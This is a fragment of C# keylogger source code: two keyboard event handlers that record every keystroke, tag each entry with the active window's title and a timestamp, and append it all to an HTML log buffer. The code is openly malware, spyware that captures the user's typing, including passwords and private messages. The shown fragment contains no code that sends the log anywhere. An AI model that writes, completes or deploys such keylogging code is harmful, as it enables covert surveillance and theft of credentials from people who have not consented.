private void OnKeyDown(object sender, KeyEventArgs e) //Called first { string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) { _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>" + KeyloggerHelper.Filter(activeWindowTitle) + " - " + DateTime.Now.ToString("HH:mm") + "</b>]</p><br>"); } if (_pressedKeys.IsModifierKeysSet()) { if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); return; } } if (!e.KeyCode.IsExcludedKey()) { // The key was not part of the keys that we wish to filter, so // be sure to prevent a situation where multiple keys are pressed. if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); } } }
//This method should be used to process all of our unicode characters private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second { if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar)) { return; } if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) { var filtered = KeyloggerHelper.Filter(e.KeyChar); if (!string.IsNullOrEmpty(filtered)) { Debug.WriteLine("OnKeyPress Output: " + filtered); if (_pressedKeys.IsModifierKeysSet()) { _ignoreSpecialKeys = true; } _pressedKeyChars.Add(e.KeyChar); _logFileBuffer.Append(filtered); } } }